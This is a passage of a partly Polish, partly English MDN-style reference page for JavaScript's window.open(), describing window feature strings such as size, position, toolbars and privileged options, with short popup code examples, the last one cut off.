+<p>Jeśli istnieje już okno o tej samej nazwie <var>strWindowName</var>, to zamiast otwierania nowego okna w istniejącym oknie zostanie załadowany URL <var>strUrl</var>. W takim wypadku wartością zwracaną jest referencja do istniejącego okna, a parametr <var>strWindowFeatures</var> jest ignorowany. Wywołanie metody z pustym ciągiem jako <var>strUrl</var> to sposób uzyskania referencji do otwartego okna jeśli znana jest jego nazwa. Zawartość tego okna nie zostanie zmieniona. Jeśli chcesz otwierać nowe okno przy każdym wywołaniu <code>window.open()</code>, podaj specjalną wartość <var>_blank</var> jako parametr <var>strWindowName</var>.</p>
+
+<p><var>strWindowFeatures</var> to opcjonalny ciąg znaków z rozdzieloną przecinkami listą żądanych cech nowego okna. Po otwarciu okna nie możesz zmienić jego funkcjonalności czy pasków za pomocą JavaScriptu. Jeśli <var>strWindowName</var> nie określa istniejącego okna i jeśli nie podasz parametru <var>strWindowFeatures</var> (lub będzie on tylko pustym ciągiem znaków), w nowym oknie znajdize się domyślny zestaw pasków głównego okna.</p>
+
+<p>Jeżeli zostanie użyty parametr <var>strWindowFeatures</var>, ale nie zostaną podane cechy określające rozmiar, wymiary okna będą takie same, jak wymiary ostatnio wyrenderowanego okna.</p>
+
+<p>Jeśli zostanie podany parametr <var>strWindowFeatures</var>, ale bez definiowania cech określających pozycję, wtedy współrzędne lewego górnego rogu będą przesunięte o 22 piksele od miejsca, gdzie znajdował się róg ostatnio wyrenderowanego okna. Przesunięcie to jest implementowane przez producentów przeglądarek (w MSIE 6 SP2 wynosi ono 29 pikseli przy domyślnym motywie) - ma ono ułatwiać użytkownikom dostrzeżenie, że otwarto nowe okno. Jeśli ostatnio używane okno było zmaksymalizowane, przesunięcie o 22 piksele nie zostanie użyte - nowe okno także będzie zmaksymalizowane.</p>
+
+<p><strong>Jeśli podajesz <var>strWindowFeatures</var>, cechy, które nie zostaną określone, będą wyłączone lub usunięte</strong> (z wyjątkiem <var>titlebar</var> i <var>close</var>, które domyślnie ustawiane są na <var>yes</var>)&gt;.</p>
+
+<div class="note">
+<p><strong>Porada</strong>: Jeśli podajesz parametr <var>strWindowFeatures</var>, zawrzyj tylko te cechy, które chcesz, by były włączone lub wyświetlane; pozostałe (poza <var>titlebar</var> i <var>close</var>) zostaną wyłączone.</p>
+</div>
+
+<p><img alt="Firefox Chrome Toolbars Illustration" class="internal" src="/@api/deki/files/2311/=FirefoxChromeToolbarsDescription7a.gif"></p>
+
+<h4 id="Pozycja_i_rozmiar_okna" name="Pozycja_i_rozmiar_okna">Pozycja i rozmiar okna</h4>
+
+<ul>
+ <li><a href="#Note_on_position_and_dimension_error_correction">Note on position and dimension error correction</a></li>
+ <li>{{bug(176320) }}</li>
+ <li><a href="#Note_on_precedence">Note on precedence</a></li>
+</ul>
+
+<dl>
+ <dt>left</dt>
+ <dd><span id="left">Określa odległość</span> między lewą krawędzią obszaru roboczego aplikacji w systemie operacyjnym użytkownika a najbardziej wysuniętą w lewo częścią obramowania nowego okna przeglądarki. Nowe okno nie możo być zainicjowane w miejscu wychodzącym poza ekran.</dd>
+ <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png">, <img alt="Opera 6+" class="internal" src="/@api/deki/files/2337/=Opera6.gif"></dd>
+</dl>
+
+<dl>
+ <dt>top</dt>
+ <dd><span id="topS">Określa odległość</span> między górną krawędzią obszaru roboczego aplikacji w systemie operacyjnym użytkownika a najbardziej wysuniętą w górę częścią obramowania nowego okna przeglądarki. Nowe okno nie możo być zainicjowane w miejscu wychodzącym poza ekran.</dd>
+ <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png">, <img alt="Opera 6+" class="internal" src="/@api/deki/files/2337/=Opera6.gif"></dd>
+</dl>
+
+<dl>
+ <dt>height</dt>
+ <dd><span id="height">Określa wysokość</span> obszaru zawartości okna wyrażoną w pikselach. Wartość zawiera wysokość poziomego paska przewijania, jeśli jest on wyświetlany. Wymagana minimalna wartość to 100.</dd>
+ <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
+ <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png">, <img alt="Opera 6+" class="internal" src="/@api/deki/files/2337/=Opera6.gif"></dd>
+</dl>
+
+<dl>
+ <dt>width</dt>
+ <dd><span id="width">Określa wysokość</span> obszaru zawartości okna wyrażoną w pikselach. Wartość zawiera szerokość pionowego paska przewijania, jeśli jest on wyświetlany. Nie jest włączana szerokość panelu bocznego, jeśli jest on otwarty. Wymagana minimalna wartość to 100.</dd>
+ <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png">, <img alt="Opera 6+" class="internal" src="/@api/deki/files/2337/=Opera6.gif"></dd>
+</dl>
+
+<dl>
+ <dt>screenX</dt>
+ <dd>Cecha wycofana. Określa to samo co <a href="#left">left</a>, ale obsługują ją tylko przeglądarki Netscape i oparte o Mozillę.</dd>
+ <dd>Obsługiwane przez <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>screenY</dt>
+ <dd>Cecha wycofana. Określa to samo co <a href="#topS">top</a>, ale obsługują ją tylko przeglądarki Netscape i oparte o Mozillę.</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>outerHeight</dt>
+ <dd>Określa wysokość całego okna przeglądarki w pikselach. Wartość <code>outerHeight</code> zawiera w sobie wszystkie widoczne paski, poziomy pasek przewijania (jeśli jest widoczny) i obramowanie okna. Minimalna wymana wartość to 100.</dd>
+ <dd><strong>Uwaga</strong>: ponieważ pasek tytułowy jest zawsze widoczny, wywołanie <code>outerHeight=100</code> zmniejszy <code>innerHeight</code> okna poniżej wymaganych 100 pikseli.</dd>
+ <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
+ <dd>Obsługiwane przez <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>outerWidth</dt>
+ <dd>Określa szerokość całego okna przeglądarki w pikselach. Wartość <code>outerWidth</code> zawiera w sobie pionowy pasek przewijania (jeśli jest widoczny) i obramowanie okna. Minimalna wymana wartość to 100.</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>innerHeight</dt>
+ <dd>To samo co <a href="#height">height</a>, ale obsługiwane tylko przez przeglądarki Netscape i oparte o Mozillę</dd>
+ <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>innerWidth</dt>
+ <dd>To samo co <a href="#width">width</a>, ale obsługiwane tylko przez przeglądarki Netscape i oparte o Mozillę</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<h4 id="Toolbar_and_chrome_features" name="Toolbar_and_chrome_features">Toolbar and chrome features</h4>
+
+<dl>
+ <dt>menubar </dt>
+ <dd>Jeśli ta opcja jest ustawiona na <var>yes</var>, wtedy nowe okno posiada widoczny pasek menu.</dd>
+ <dd>Użytkownicy Mozilli i Firefoxa mogą wymusić by każde nowo otwarte okno posiadało widoczny masek menu poprzez ustawienie<br>
+ <code>dom.disable_window_open_feature.menubar</code><br>
+ na <var>true</var> w <code>about:config</code> lub w ich <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">pliku user.js</a>.</dd>
+ <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>toolbar </dt>
+ <dd>Jeśli ta opcja jest ustawiona na <var>yes</var>, wtedy nowe okno posiada widoczny pasek nawigacji (Przyciski: poprzednia strona, następna strona, odśwież, zatrzymaj). In addition to the Navigation Toolbar, Mozilla-based browsers will render the Tab Bar if it is visible, present in the parent window.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the Navigation Toolbar by setting<br>
+ <code>dom.disable_window_open_feature.toolbar</code><br>
+ to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd>
+ <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>location </dt>
+ <dd>If this feature is set to <var>yes</var>, then the new secondary window renders the Location bar in Mozilla-based browsers. MSIE 5+ and Opera 7.x renders the Address Bar.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the location bar by setting<br>
+ <code>dom.disable_window_open_feature.location</code><br>
+ to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd>
+</dl>
+
+<p>Note that MSIE 7 will force the presence of the Address Bar: "We think the address bar is also important for users <strong>to see in pop-up windows</strong>. A missing address bar creates a chance for a fraudster to forge an address of their own. To help thwart that, <strong>IE7 will show the address bar on all internet windows to help users see where they are</strong>." coming from <a class="external" href="http://blogs.msdn.com/ie/archive/2005/11/21.aspx">Microsoft Internet Explorer Blog, Better Website Identification</a></p>
+
+<dl>
+ <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png">, <img alt="Opera 6+" class="internal" src="/@api/deki/files/2337/=Opera6.gif"></dd>
+</dl>
+
+<dl>
+ <dt>directories </dt>
+ <dd>If this feature is set to <var>yes</var>, then the new secondary window renders the Personal Toolbar in Netscape 6.x, Netscape 7.x and Mozilla browser. It renders the Bookmarks Toolbar in Firefox 1.x and, in MSIE 5+, it renders the Links bar. In addition to the Personal Toolbar, Mozilla browser will render the Site Navigation Bar if such toolbar is visible, present in the parent window.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the Personal Toolbar/Bookmarks toolbar by setting<br>
+ <code>dom.disable_window_open_feature.directories</code><br>
+ to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd>
+ <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>personalbar </dt>
+ <dd>Same as <var>directories</var> but only supported by Netscape and Mozilla-based browsers.</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>status </dt>
+ <dd>If this feature is set to <var>yes</var>, then the new secondary window has a status bar. Users can force the rendering of status bar in all Mozilla-based browsers, in MSIE 6 SP2 (<a href="#Note_on_security_issues_of_the_status_bar_presence">Note on status bar in XP SP2</a>) and in Opera 6+. The default preference setting in recent Mozilla-based browser releases and in Firefox 1.0 is to force the presence of the status bar.</dd>
+ <dd><a href="#Note_on_status_bar">Note on status bar</a></dd>
+ <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<h4 id="Window_functionality_features" name="Window_functionality_features">Window functionality features</h4>
+
+<dl>
+ <dt>resizable </dt>
+ <dd>If this feature is set to <var>yes</var>, the new secondary window will be resizable.</dd>
+ <dd><strong>Note</strong>: Starting with version 1.4, Mozilla-based browsers have a window resizing grippy at the right end of the status bar, this ensures that users can resize the browser window even if the web author requested this secondary window to be non-resizable. In such case, the maximize/restore icon in the window's titlebar will be disabled and the window's borders won't allow resizing but the window will still be resizable via that grippy in the status bar.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Tip</strong>: For accessibility reasons, it is strongly recommended to set this feature always to <var>yes</var>.</p>
+</div>
+
+<dl>
+ <dd>Mozilla and Firefox users can force new windows to be easily resizable by setting<br>
+ <code>dom.disable_window_open_feature.resizable</code><br>
+ to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd>
+ <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>scrollbars </dt>
+ <dd>If this feature is set to <var>yes</var>, the new secondary window will show horizontal and/or vertical scrollbar(s) if the document doesn't fit into the window's viewport.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Tip</strong>: For accessibility reasons, it is strongly encouraged to set this feature always to <var>yes</var>.</p>
+</div>
+
+<dl>
+ <dd>Mozilla and Firefox users can force this option to be always enabled for new windows by setting<br>
+ <code>dom.disable_window_open_feature.scrollbars</code><br>
+ to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd>
+ <dd><a href="#Note_on_scrollbars">Note on scrollbars</a></dd>
+ <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>dependent </dt>
+ <dd>If set to <var>yes</var>, the new window is said to be dependent of its parent window. A dependent window closes when its parent window closes. A dependent window is minimized on the Windows task bar only when its parent window is minimized. On Windows platforms, a dependent window does not show on the task bar. A dependent window also stays in front of the parent window.</dd>
+ <dd>Dependent windows are not implemented on MacOS X, this option will be ignored.</dd>
+ <dd>In MSIE 6, the nearest equivalent to this feature is the <code>showModelessDialog()</code> method.</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>chrome </dt>
+ <dd><strong>Note</strong>: Starting with Mozilla 1.7/Firefox 0.9, this feature requires the <code>UniversalBrowserWrite</code> privilege ({{ Bug(244965) }}). Without this privilege it is ignored.</dd>
+ <dd>If set to <var>yes</var>, the page is loaded as window's only content, without any of the browser's interface elements. There will be no context menu defined by default and none of the standard keyboard shortcuts will work. The page is supposed to provide a user interface of its own, usually this feature is used to open XUL documents (standard dialogs like the JavaScript Console are opened this way).</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>modal </dt>
+ <dd><strong>Note</strong>: Starting with Mozilla 1.2.1, this feature requires the <code>UniversalBrowserWrite</code> privilege ({{ Bug(180048) }}). Without this privilege, it is equivalent to <code>dependent</code>.</dd>
+ <dd>If set to <var>yes</var>, the new window is said to be modal. The user cannot return to the main window until the modal window is closed. A typical modal window is created by the <a href="/pl/DOM/window.alert" title="pl/DOM/window.alert">alert() function</a>.</dd>
+ <dd>The exact behavior of modal windows depends on the platform and on the Mozilla release version.</dd>
+ <dd>The MSIE 6 equivalent to this feature is the <code>showModalDialog()</code> method.</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>dialog </dt>
+ <dd>The <code>dialog</code> feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. <span class="float-right"><img alt="Firefox and its command system menu under Windows" class="internal" src="/@api/deki/files/2325/=MenuSystemCommands.png"></span>Mozilla 1.2+ and Netscape 7.1 will render the other menu system commands (in FF 1.0 and in NS 7.0x, the command system menu is not identified with the Firefox/NS 7.0x icon on the left end of the titlebar: that's probably a bug. You can access the command system menu with a right-click on the titlebar). Dialog windows are windows which have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu. They are said to be dialog because their normal, usual purpose is to only notify info and to be dismissed, closed. On Mac systems, dialog windows have a different window border and they may get turned into a sheet.</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>minimizable </dt>
+ <dd>This setting can only apply to dialog windows; "minimizable" requires <code>dialog=yes</code>. If <code>minimizable</code> is set to <var>yes</var>, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable. Any non-dialog window is always minimizable and <code>minimizable=no</code> will be ignored.</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>fullscreen </dt>
+ <dd>Do not use. Not implemented in Mozilla. There are no plans to implement this feature in Mozilla.</dd>
+ <dd>This feature no longer works in MSIE 6 SP2 the way it worked in MSIE 5.x. The Windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in MSIE 5.x.</dd>
+ <dd><code>fullscreen</code> always upsets users with large monitor screen or with dual monitor screen. Forcing <code>fullscreen</code> onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users.</dd>
+ <dd><a href="#Note_on_fullscreen">Note on fullscreen</a></dd>
+ <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png"></dd>
+ <dd><code>fullscreen</code> does not really work work in MSIE 6 SP2.</dd>
+</dl>
+
+<h4 id="Features_requiring_privileges" name="Features_requiring_privileges">Features requiring privileges</h4>
+
+<p>The following features require the <code>UniversalBrowserWrite</code> privilege, otherwise they will be ignored. Chrome scripts have this privilege automatically, others have to request it from the <a href="/pl/PrivilegeManager" title="pl/PrivilegeManager">PrivilegeManager</a>.</p>
+
+<dl>
+ <dt>titlebar </dt>
+ <dd>By default, all new secondary windows have a titlebar. If set to <var>no</var>, this feature removes the titlebar from the new secondary window.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the titlebar by setting<br>
+ <code>dom.disable_window_open_feature.titlebar</code><br>
+ to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>alwaysRaised </dt>
+ <dd>If set to <var>yes</var>, the new window will always be displayed on top of other browser windows, regardless of whether it is active or not.</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>alwaysLowered </dt>
+ <dd>If set to <var>yes</var>, the new created window floats below, under its own parent when the parent window is not minimized. alwaysLowered windows are often referred as pop-under windows. The alwaysLowered window can not be on top of the parent but the parent window can be minimized. In NS 6.x, the alwaysLowered window has no minimize system command icon and no restore/maximize system command.</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<dl>
+ <dt>z-lock </dt>
+ <dd>Same as <code>alwaysLowered</code>.</dd>
+</dl>
+
+<dl>
+ <dt>close </dt>
+ <dd>When set to <var>no</var>, this feature removes the system close command icon and system close menu item. It will only work for dialog windows (<code>dialog</code> feature set). <code>close=no</code> will override <code>minimizable=yes</code>.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always have a close button by setting<br>
+ <code>dom.disable_window_open_feature.close</code><br>
+ to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd>
+ <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd>
+</dl>
+
+<p>The position and size feature elements require a number to be set. The toolbars and window functionalities can be set with a <var>yes</var> or <var>no</var>; you can use <var>1</var> instead of <var>yes</var> and <var>0</var> instead of <var>no</var>. The toolbar and functionality feature elements also accept the shorthand form: you can turn a feature on by simply listing the feature name in the <var>strWindowFeatures</var> string. If you supply the <var>strWindowFeatures</var> parameter, then the <code>titlebar</code> and <code>close</code> are still <var>yes</var> by default, but the other features which have a <var>yes</var>/<var>no</var> choice will be <var>no</var> by default and will be turned off.</p>
+
+<p>Example:</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+var WindowObjectReference; // global variable
+
+function openRequestedPopup()
+{
+ WindowObjectReference = window.open("http://www.domainname.ext/path/ImgFile.png",
+ "DescriptiveWindowName",
+ "width=420,height=230,resizable,scrollbars=yes,status=1");
+}
+&lt;/script&gt;
+</pre>
+
+<p>In this example, the window will be resizable, it will render scrollbar(s) if needed, if the content overflows requested window dimensions and it will render the status bar. It will not render the menubar nor the location bar. Since the author knew about the size of the image (400 pixels wide and 200 pixels high), he added the margins applied to the root element in MSIE 6 which is 15 pixels for top margin, 15 pixels for the bottom margin, 10 pixels for the left margin and 10 pixels for the right margin.</p>
+
+<h3 id="Best_practices" name="Best_practices">Best practices</h3>
+
+<pre>&lt;script type="text/javascript"&gt;
+var WindowObjectReference = null; // global variable
+
+function openFFPromotionPopup()
+{
+ if(WindowObjectReference == null || WindowObjectReference.closed)
+ /* if the pointer to the window object in memory does not exist
+ or if such pointer exists but the window was closed */
+
+ {
+ WindowObjectReference = window.open("http://www.spreadfirefox.com/",
